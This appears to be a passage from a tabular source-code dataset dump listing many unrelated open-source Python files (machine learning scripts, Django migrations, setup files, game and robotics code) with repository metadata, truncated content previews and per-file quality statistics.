# Unless required by applicable law or agreed to in w... | 38.323432 | 79 | 0.673527 | 1,161 | 11,612 | 6.445306 | 0.18863 | 0.013364 | 0.048109 | 0.051316 | 0.458773 | 0.362021 | 0.297875 | 0.289189 | 0.289189 | 0.246559 | 0 | 0.006266 | 0.244058 | 11,612 | 302 | 80 | 38.450331 | 0.846206 | 0.058388 | 0 | 0.384 | 0 | 0 | 0.239923 | 0.074936 | 0 | 0 | 0 | 0.003311 | 0 | 1 | 0.088 | false | 0.068 | 0.048 | 0.012 | 0.172 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
4022d54aeba2badfe2c92ef3c771f491343dff82 | 1,919 | py | Python | teste/knn.py | joandesonandrade/nebulosa | 5bc157322ed0bdb81f6f00f6ed1ea7f7a5cadfe0 | [
"MIT"
] | null | null | null | teste/knn.py | joandesonandrade/nebulosa | 5bc157322ed0bdb81f6f00f6ed1ea7f7a5cadfe0 | [
"MIT"
] | null | null | null | teste/knn.py | joandesonandrade/nebulosa | 5bc157322ed0bdb81f6f00f6ed1ea7f7a5cadfe0 | [
"MIT"
] | null | null | null | from sklearn import preprocessing
import pandas as pd
import numpy as np
#import matplotlib.pyplot as plt
#Abrindo o dados como Dataframe
dados = pd.read_csv('dados/001.csv')
#Iniciando o método para binanizar as classe sim=1; não=0
pre = preprocessing.LabelBinarizer()
#Binazirando a classe jogou, e atribuíndo a uma... | 28.641791 | 105 | 0.727983 | 308 | 1,919 | 4.422078 | 0.396104 | 0.013216 | 0.022026 | 0.015419 | 0.088106 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01804 | 0.133403 | 1,919 | 66 | 106 | 29.075758 | 0.800962 | 0.414278 | 0 | 0 | 0 | 0 | 0.045537 | 0 | 0 | 0 | 0 | 0.015152 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.041667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
40255e51d495409353d842161452761a11a4b039 | 8,940 | py | Python | components/google-cloud/tests/container/experimental/gcp_launcher/test_batch_prediction_job_remote_runner.py | m-mayran/pipelines | 4e89973504980ff89d896fda09fc29a339b2d744 | [
"Apache-2.0"
] | null | null | null | components/google-cloud/tests/container/experimental/gcp_launcher/test_batch_prediction_job_remote_runner.py | m-mayran/pipelines | 4e89973504980ff89d896fda09fc29a339b2d744 | [
"Apache-2.0"
] | null | null | null | components/google-cloud/tests/container/experimental/gcp_launcher/test_batch_prediction_job_remote_runner.py | m-mayran/pipelines | 4e89973504980ff89d896fda09fc29a339b2d744 | [
"Apache-2.0"
] | null | null | null | # Copyright 2021 The Kubeflow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | 45.380711 | 115 | 0.794519 | 1,169 | 8,940 | 5.59367 | 0.179641 | 0.176633 | 0.211959 | 0.131213 | 0.669827 | 0.638324 | 0.590151 | 0.579599 | 0.579599 | 0.572106 | 0 | 0.001673 | 0.130872 | 8,940 | 196 | 116 | 45.612245 | 0.839897 | 0.075615 | 0 | 0.514286 | 0 | 0 | 0.086113 | 0.04148 | 0 | 0 | 0 | 0 | 0.05 | 1 | 0.05 | false | 0 | 0.085714 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
402c6d1527bb64bf420904254134ab7105236ec8 | 10,690 | py | Python | data_utils.py | algoprog/Quin | c1fd3b8e5e2163217f6c8062620ee0c1dfeed0e8 | [
"MIT"
] | 47 | 2020-08-02T12:28:07.000Z | 2022-03-30T01:56:57.000Z | data_utils.py | algoprog/Quin | c1fd3b8e5e2163217f6c8062620ee0c1dfeed0e8 | [
"MIT"
] | 4 | 2020-09-20T17:31:51.000Z | 2021-12-02T17:40:03.000Z | data_utils.py | algoprog/Quin | c1fd3b8e5e2163217f6c8062620ee0c1dfeed0e8 | [
"MIT"
] | 4 | 2020-11-23T15:47:34.000Z | 2021-03-30T02:02:02.000Z | import csv
import json
import pickle
import logging
import re
import pandas
import gzip
import os
import numpy as np
from random import randint, random
from tqdm import tqdm
from retriever.dense_retriever import DenseRetriever
from models.tokenization import tokenize
from typing import Union, List
class InputExampl... | 31.627219 | 119 | 0.528718 | 1,172 | 10,690 | 4.703925 | 0.180887 | 0.023943 | 0.017958 | 0.048975 | 0.40468 | 0.377109 | 0.363686 | 0.334482 | 0.310539 | 0.287321 | 0 | 0.014142 | 0.358372 | 10,690 | 337 | 120 | 31.721068 | 0.789619 | 0.034425 | 0 | 0.435115 | 0 | 0 | 0.057023 | 0.008705 | 0 | 0 | 0 | 0 | 0.003817 | 1 | 0.064886 | false | 0.072519 | 0.053435 | 0.007634 | 0.183206 | 0.022901 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
402d9bbc776d0b10c128c8af7e8de8955e864e57 | 327 | py | Python | hc/accounts/migrations/0025_remove_member_team.py | opsct/healthchecks | 069bc9b735c0473aed9946104ab85238d065bea1 | [
"BSD-3-Clause"
] | null | null | null | hc/accounts/migrations/0025_remove_member_team.py | opsct/healthchecks | 069bc9b735c0473aed9946104ab85238d065bea1 | [
"BSD-3-Clause"
] | 1 | 2021-06-10T23:14:00.000Z | 2021-06-10T23:14:00.000Z | hc/accounts/migrations/0025_remove_member_team.py | opsct/healthchecks | 069bc9b735c0473aed9946104ab85238d065bea1 | [
"BSD-3-Clause"
] | null | null | null | # Generated by Django 2.1.5 on 2019-01-22 08:33
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('accounts', '0024_auto_20190119_1540'),
]
operations = [
migrations.RemoveField(
model_name='member',
name='team',
),... | 18.166667 | 48 | 0.590214 | 35 | 327 | 5.4 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.134783 | 0.296636 | 327 | 17 | 49 | 19.235294 | 0.686957 | 0.137615 | 0 | 0 | 1 | 0 | 0.146429 | 0.082143 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
403251bad5543a2ea9b5b81f85773876a2b6f3ba | 1,458 | py | Python | setup.py | pranithk/gluster-georep-tools | 3c8c7dcf63042613b002385edcead7c1ec079e61 | [
"MIT"
] | null | null | null | setup.py | pranithk/gluster-georep-tools | 3c8c7dcf63042613b002385edcead7c1ec079e61 | [
"MIT"
] | null | null | null | setup.py | pranithk/gluster-georep-tools | 3c8c7dcf63042613b002385edcead7c1ec079e61 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
gluster-georep-tools.setup.py
:copyright: (c) 2016 by Aravinda VK
:license: MIT, see LICENSE for more details.
"""
from setuptools import setup
setup(
name="gluster-georep-tools",
version="0.2",
packages=["gluster_georep_tools",
"gluster_georep_tools.... | 30.375 | 75 | 0.61454 | 151 | 1,458 | 5.81457 | 0.543046 | 0.148064 | 0.164009 | 0.078588 | 0.084282 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011743 | 0.240741 | 1,458 | 47 | 76 | 31.021277 | 0.781391 | 0.091221 | 0 | 0 | 0 | 0 | 0.559387 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.026316 | 0 | 0.026316 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
403352816f5874a59e3b9fffa9b383a34c03d749 | 311 | py | Python | imgtoch/__init__.py | hrpzcf/imgtoch | 13b59dd4c6b65b8ee17bbd22ac1133a86d34d5fb | [
"MIT"
] | null | null | null | imgtoch/__init__.py | hrpzcf/imgtoch | 13b59dd4c6b65b8ee17bbd22ac1133a86d34d5fb | [
"MIT"
] | null | null | null | imgtoch/__init__.py | hrpzcf/imgtoch | 13b59dd4c6b65b8ee17bbd22ac1133a86d34d5fb | [
"MIT"
] | null | null | null | # coding: utf-8
from .__utils__ import grayscaleOf, makeImage, sortByGrayscale
NAME = "imgtoch"
VERSIONNUM = 0, 2, 3
VERSION = ".".join(map(str, VERSIONNUM))
AUTHOR = "hrpzcf"
EMAIL = "hrpzcf@foxmail.com"
WEBSITE = "https://gitee.com/hrpzcf/imgtoch"
__all__ = ["grayscaleOf", "makeImage", "sortByGrayscale"]
| 23.923077 | 62 | 0.717042 | 36 | 311 | 5.972222 | 0.777778 | 0.186047 | 0.325581 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014652 | 0.122187 | 311 | 12 | 63 | 25.916667 | 0.772894 | 0.041801 | 0 | 0 | 0 | 0 | 0.334459 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4035dbde81734e9262f7a5d9f7fcf21b0a2fc083 | 1,006 | py | Python | RLBotPack/JoeyBot/CSharpPythonAgent/CSharpPythonAgent.py | RLMarvin/RLBotPack | c88c4111bf67d324b471ad87ad962e7bc8c2a202 | [
"MIT"
] | 13 | 2019-05-25T20:25:51.000Z | 2022-03-19T13:36:23.000Z | RLBotPack/JoeyBot/CSharpPythonAgent/CSharpPythonAgent.py | RLMarvin/RLBotPack | c88c4111bf67d324b471ad87ad962e7bc8c2a202 | [
"MIT"
] | 53 | 2019-06-07T13:31:59.000Z | 2022-03-28T22:53:47.000Z | RLBotPack/JoeyBot/CSharpPythonAgent/CSharpPythonAgent.py | RLMarvin/RLBotPack | c88c4111bf67d324b471ad87ad962e7bc8c2a202 | [
"MIT"
] | 78 | 2019-06-30T08:42:13.000Z | 2022-03-23T20:11:42.000Z | import os
from rlbot.agents.base_agent import BOT_CONFIG_AGENT_HEADER
from rlbot.agents.base_dotnet_agent import BaseDotNetAgent
from rlbot.parsing.custom_config import ConfigHeader, ConfigObject
class DotNetBot(BaseDotNetAgent):
def get_port_file_path(self):
# Look for a port.cfg file in the same direct... | 43.73913 | 102 | 0.744533 | 131 | 1,006 | 5.473282 | 0.480916 | 0.089261 | 0.111576 | 0.052999 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.171968 | 1,006 | 22 | 103 | 45.727273 | 0.860744 | 0.0666 | 0 | 0 | 0 | 0 | 0.159018 | 0.046958 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.266667 | 0.066667 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
4036ce0b3a0763152669516459e91450d4954edb | 2,640 | py | Python | v3_experiments.py | runekaagaard/workflows | 7bb7fe3821bc33b5e82c65dda3ca61f69ee8bcfa | [
"Unlicense"
] | null | null | null | v3_experiments.py | runekaagaard/workflows | 7bb7fe3821bc33b5e82c65dda3ca61f69ee8bcfa | [
"Unlicense"
] | null | null | null | v3_experiments.py | runekaagaard/workflows | 7bb7fe3821bc33b5e82c65dda3ca61f69ee8bcfa | [
"Unlicense"
] | null | null | null | # coding=utf-8
import inspect
from functools import wraps
def listify(func_s):
if callable(func_s):
return [func_s]
else:
return func_s
def parse_conditions(condition_s, args, kwargs, title):
err_msg = unicode(title) + u" nr. {} failed: {}"
for i, condition in enumerate(listify(condi... | 22.372881 | 75 | 0.576894 | 292 | 2,640 | 4.907534 | 0.297945 | 0.08374 | 0.066992 | 0.044662 | 0.127704 | 0.058618 | 0.040475 | 0 | 0 | 0 | 0 | 0.007115 | 0.307955 | 2,640 | 117 | 76 | 22.564103 | 0.77723 | 0.004545 | 0 | 0.306667 | 0 | 0 | 0.037446 | 0 | 0 | 0 | 0 | 0 | 0.026667 | 0 | null | null | 0 | 0.026667 | null | null | 0.026667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
403ac1f41e289fbd9825b8c92a8b0c154ef6090e | 1,300 | py | Python | trabalhoaqui/comp_perguntas/valida.py | EmanoelG/jogodaforca | 06baf78b31e4b40d8db9fc5be67700be32c66cba | [
"MIT"
] | 1 | 2020-06-06T17:09:55.000Z | 2020-06-06T17:09:55.000Z | trabalhoaqui/comp_perguntas/valida.py | EmanoelG/jogodaforca | 06baf78b31e4b40d8db9fc5be67700be32c66cba | [
"MIT"
] | null | null | null | trabalhoaqui/comp_perguntas/valida.py | EmanoelG/jogodaforca | 06baf78b31e4b40d8db9fc5be67700be32c66cba | [
"MIT"
] | null | null | null | from jogo import desenha_jogo
from random import randint
import sys
def input_cria_usuario():
usuario = dict()
usuario['nome'] = input('Informe o seu nome: ')
usuario['pontos'] = 0
usuario['desafiado'] = False
return usuario
def comeco(j1, j2):
j1 = 1
j2 = 2
n= randint(j1,j2)
... | 23.214286 | 127 | 0.412308 | 94 | 1,300 | 4.457447 | 0.606383 | 0.019093 | 0.02148 | 0.019093 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.03383 | 0.431538 | 1,300 | 55 | 128 | 23.636364 | 0.533153 | 0.073077 | 0 | 0 | 0 | 0.030303 | 0.60401 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.090909 | 0 | 0.242424 | 0.060606 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
403c902e2dd03cc231fcbd2349b64917b93e7dde | 826 | py | Python | scripts/ip2hex.py | Kidlike/dotfiles | b9c4daa4da1f416662b708338a497b5a620ddcbf | [
"Apache-2.0"
] | null | null | null | scripts/ip2hex.py | Kidlike/dotfiles | b9c4daa4da1f416662b708338a497b5a620ddcbf | [
"Apache-2.0"
] | null | null | null | scripts/ip2hex.py | Kidlike/dotfiles | b9c4daa4da1f416662b708338a497b5a620ddcbf | [
"Apache-2.0"
] | 1 | 2018-05-28T08:08:25.000Z | 2018-05-28T08:08:25.000Z | #!/usr/bin/python
import sys
import re
def iptohex(ip):
octets = ip.split('.')
hex_octets = []
for octet in octets:
if int(octet) < 16:
hex_octets.append('0' + hex(int(octet))[2:])
else:
hex_octets.append(hex(int(oc... | 26.645161 | 68 | 0.468523 | 105 | 826 | 3.533333 | 0.380952 | 0.145553 | 0.032345 | 0.06469 | 0.123989 | 0.123989 | 0.123989 | 0.123989 | 0 | 0 | 0 | 0.019455 | 0.377724 | 826 | 30 | 69 | 27.533333 | 0.702335 | 0.01937 | 0 | 0.08 | 0 | 0 | 0.119901 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.08 | null | null | 0.16 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
403cacc3c31596cf185f47bf3504df89608d6f14 | 1,329 | py | Python | src/models/CVX_weighted.py | DanqingZ/social-DCM | 3c2541a7ed0e7f4519d97783b5b673fa6c06ae94 | [
"MIT"
] | 14 | 2017-08-10T17:00:20.000Z | 2021-12-23T09:00:50.000Z | src/models/CVX_weighted.py | DanqingZ/social-DCM | 3c2541a7ed0e7f4519d97783b5b673fa6c06ae94 | [
"MIT"
] | null | null | null | src/models/CVX_weighted.py | DanqingZ/social-DCM | 3c2541a7ed0e7f4519d97783b5b673fa6c06ae94 | [
"MIT"
] | 1 | 2019-08-13T08:47:43.000Z | 2019-08-13T08:47:43.000Z | import random
import numpy as np
import numpy.linalg as LA
import scipy as spy
import time
from itertools import *
import sys
import cvxpy as cvx
from random import randint
import numpy as np
import random
from scipy.sparse import csc_matrix
from scipy import sparse as sp
import networkx as nx
class CVX_weighted:
def... | 26.58 | 157 | 0.699774 | 242 | 1,329 | 3.731405 | 0.297521 | 0.053156 | 0.039867 | 0.033223 | 0.115172 | 0.06866 | 0.06866 | 0.06866 | 0 | 0 | 0 | 0.00363 | 0.170805 | 1,329 | 50 | 158 | 26.58 | 0.815789 | 0 | 0 | 0.088889 | 0 | 0 | 0.009774 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.311111 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
404a73f48e1b3ca8bb85958c0c604a1931f4d34f | 1,450 | py | Python | jina/executors/evaluators/rank/recall.py | sdsd0101/jina | 1a835d9015c627a2cbcdc58ee3d127962ada1bc9 | [
"Apache-2.0"
] | 2 | 2020-10-19T17:06:19.000Z | 2020-10-22T14:10:55.000Z | jina/executors/evaluators/rank/recall.py | ayansiddiqui007/jina | 2a764410de47cc11e53c8f652ea1095d5dab5435 | [
"Apache-2.0"
] | null | null | null | jina/executors/evaluators/rank/recall.py | ayansiddiqui007/jina | 2a764410de47cc11e53c8f652ea1095d5dab5435 | [
"Apache-2.0"
] | null | null | null | from typing import Sequence, Any
from jina.executors.evaluators.rank import BaseRankingEvaluator
from jina.executors.evaluators.decorators import as_aggregator
class RecallEvaluator(BaseRankingEvaluator):
"""A :class:`RecallEvaluator` evaluates the Precision of the search.
It computes how many of the firs... | 35.365854 | 117 | 0.648966 | 185 | 1,450 | 4.935135 | 0.459459 | 0.052574 | 0.054765 | 0.059146 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007498 | 0.264138 | 1,450 | 40 | 118 | 36.25 | 0.848172 | 0.32069 | 0 | 0 | 0 | 0 | 0.023973 | 0.023973 | 0 | 0 | 0 | 0.025 | 0 | 1 | 0.142857 | false | 0 | 0.142857 | 0.047619 | 0.47619 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
404be03a1fd1048c68239ebc361551f5a1526980 | 270 | py | Python | tests/schema_mapping/structures/example5.py | danny-vayu/typedpy | e97735a742acbd5f1133e23f08cf43836476686a | [
"MIT"
] | null | null | null | tests/schema_mapping/structures/example5.py | danny-vayu/typedpy | e97735a742acbd5f1133e23f08cf43836476686a | [
"MIT"
] | null | null | null | tests/schema_mapping/structures/example5.py | danny-vayu/typedpy | e97735a742acbd5f1133e23f08cf43836476686a | [
"MIT"
] | null | null | null | from typedpy import Array, DoNotSerialize, Structure, mappers
class Foo(Structure):
i: int
s: str
_serialization_mapper = {"i": "j", "s": "name"}
class Example5(Foo):
a: Array
_serialization_mapper = [{"j": DoNotSerialize}, mappers.TO_LOWERCASE] | 20.769231 | 73 | 0.674074 | 32 | 270 | 5.53125 | 0.65625 | 0.214689 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004587 | 0.192593 | 270 | 13 | 73 | 20.769231 | 0.807339 | 0 | 0 | 0 | 0 | 0 | 0.02952 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4050f12cd3fda3e62426b196e960faffe455d7f7 | 938 | py | Python | selfdrive/crash.py | darknight111/openpilot3 | a0c755fbe1889f26404a8225816f57e89fde7bc2 | [
"MIT"
] | 19 | 2020-08-05T12:11:58.000Z | 2022-03-07T01:18:56.000Z | selfdrive/crash.py | darknight111/openpilot3 | a0c755fbe1889f26404a8225816f57e89fde7bc2 | [
"MIT"
] | 18 | 2020-08-20T05:17:38.000Z | 2021-12-06T09:02:00.000Z | selfdrive/crash.py | darknight111/openpilot3 | a0c755fbe1889f26404a8225816f57e89fde7bc2 | [
"MIT"
] | 25 | 2020-08-30T09:10:14.000Z | 2022-02-20T02:31:13.000Z | """Install exception handler for process crash."""
from selfdrive.swaglog import cloudlog
from selfdrive.version import version
import sentry_sdk
from sentry_sdk.integrations.threading import ThreadingIntegration
def capture_exception(*args, **kwargs) -> None:
cloudlog.error("crash", exc_info=kwargs.get('exc_info',... | 33.5 | 102 | 0.735608 | 116 | 938 | 5.801724 | 0.5 | 0.093611 | 0.059435 | 0.077266 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045963 | 0.141791 | 938 | 27 | 103 | 34.740741 | 0.790062 | 0.105544 | 0 | 0 | 0 | 0 | 0.122449 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.2 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
405b957bd7045b5d856865ed3de04736c0fcea38 | 10,857 | py | Python | DQM/BeamMonitor/test/44X_beam_dqm_sourceclient-live_cfg.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | DQM/BeamMonitor/test/44X_beam_dqm_sourceclient-live_cfg.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | DQM/BeamMonitor/test/44X_beam_dqm_sourceclient-live_cfg.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | import FWCore.ParameterSet.Config as cms
process = cms.Process("BeamMonitor")
#----------------------------
# Common part for PP and H.I Running
#-----------------------------
process.load("DQM.Integration.test.inputsource_cfi")
#--------------------------
# HLT Filter
process.load("HLTrigger.special.HLTTriggerType... | 42.410156 | 127 | 0.644377 | 840 | 10,857 | 8.264286 | 0.333333 | 0.087727 | 0.062518 | 0.057044 | 0.300202 | 0.217228 | 0.198646 | 0.103717 | 0.103717 | 0.103717 | 0 | 0.007381 | 0.23874 | 10,857 | 255 | 128 | 42.576471 | 0.832547 | 0.122225 | 0 | 0.15894 | 0 | 0 | 0.16065 | 0.105341 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.02649 | null | null | 0.013245 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4060cef76afd120f8b88cf8abb7104b1c967dfca | 2,614 | py | Python | src/zope/formlib/errors.py | zopefoundation/zope.formlib | af2d587a6eb24e59e95a8b1feb7aafc5d3b87ba4 | [
"ZPL-2.1"
] | 4 | 2018-05-09T04:16:25.000Z | 2021-03-05T17:27:21.000Z | src/zope/formlib/errors.py | zopefoundation/zope.formlib | af2d587a6eb24e59e95a8b1feb7aafc5d3b87ba4 | [
"ZPL-2.1"
] | 25 | 2016-03-24T15:23:08.000Z | 2021-03-05T16:53:53.000Z | src/zope/formlib/errors.py | zopefoundation/zope.formlib | af2d587a6eb24e59e95a8b1feb7aafc5d3b87ba4 | [
"ZPL-2.1"
] | 5 | 2015-02-11T13:32:06.000Z | 2018-05-09T04:16:26.000Z | ##############################################################################
#
# Copyright (c) 2006 Zope Foundation and Contributors.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS I... | 34.394737 | 78 | 0.653405 | 298 | 2,614 | 5.704698 | 0.419463 | 0.047059 | 0.044706 | 0.049412 | 0.130588 | 0.094118 | 0.094118 | 0.094118 | 0.094118 | 0.094118 | 0 | 0.012387 | 0.197016 | 2,614 | 75 | 79 | 34.853333 | 0.797523 | 0.289594 | 0 | 0.214286 | 0 | 0 | 0.077159 | 0.014085 | 0 | 0 | 0 | 0 | 0 | 1 | 0.119048 | false | 0 | 0.285714 | 0 | 0.52381 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
4061946ebfbadada4a68b023604bd5475c508749 | 6,090 | py | Python | src/packagedcode/about.py | sthagen/nexB-scancode-toolkit | 12cc1286df78af898fae76fa339da2bb50ad51b9 | [
"Apache-2.0",
"CC-BY-4.0"
] | null | null | null | src/packagedcode/about.py | sthagen/nexB-scancode-toolkit | 12cc1286df78af898fae76fa339da2bb50ad51b9 | [
"Apache-2.0",
"CC-BY-4.0"
] | null | null | null | src/packagedcode/about.py | sthagen/nexB-scancode-toolkit | 12cc1286df78af898fae76fa339da2bb50ad51b9 | [
"Apache-2.0",
"CC-BY-4.0"
] | null | null | null | #
# Copyright (c) nexB Inc. and others. All rights reserved.
# ScanCode is a trademark of nexB Inc.
# SPDX-License-Identifier: Apache-2.0
# See http://www.apache.org/licenses/LICENSE-2.0 for the license text.
# See https://github.com/nexB/scancode-toolkit for support or download.
# See https://aboutcode.org for more in... | 36.25 | 98 | 0.621182 | 715 | 6,090 | 5.106294 | 0.296504 | 0.06327 | 0.046015 | 0.02739 | 0.050397 | 0.020268 | 0 | 0 | 0 | 0 | 0 | 0.001184 | 0.306732 | 6,090 | 167 | 99 | 36.467066 | 0.863572 | 0.209852 | 0 | 0.057143 | 0 | 0 | 0.0625 | 0.014358 | 0 | 0 | 0 | 0.017964 | 0 | 1 | 0.038095 | false | 0.009524 | 0.07619 | 0.009524 | 0.180952 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4061e49b5b1d7dddbcbb3f8df2b62b73c065877a | 2,359 | py | Python | gazepattern/eyedetector/admin.py | AriRodriguezCruz/mcfgpr | c6f83f8e68bbab0054a7ea337feab276fc0790fc | [
"MIT"
] | null | null | null | gazepattern/eyedetector/admin.py | AriRodriguezCruz/mcfgpr | c6f83f8e68bbab0054a7ea337feab276fc0790fc | [
"MIT"
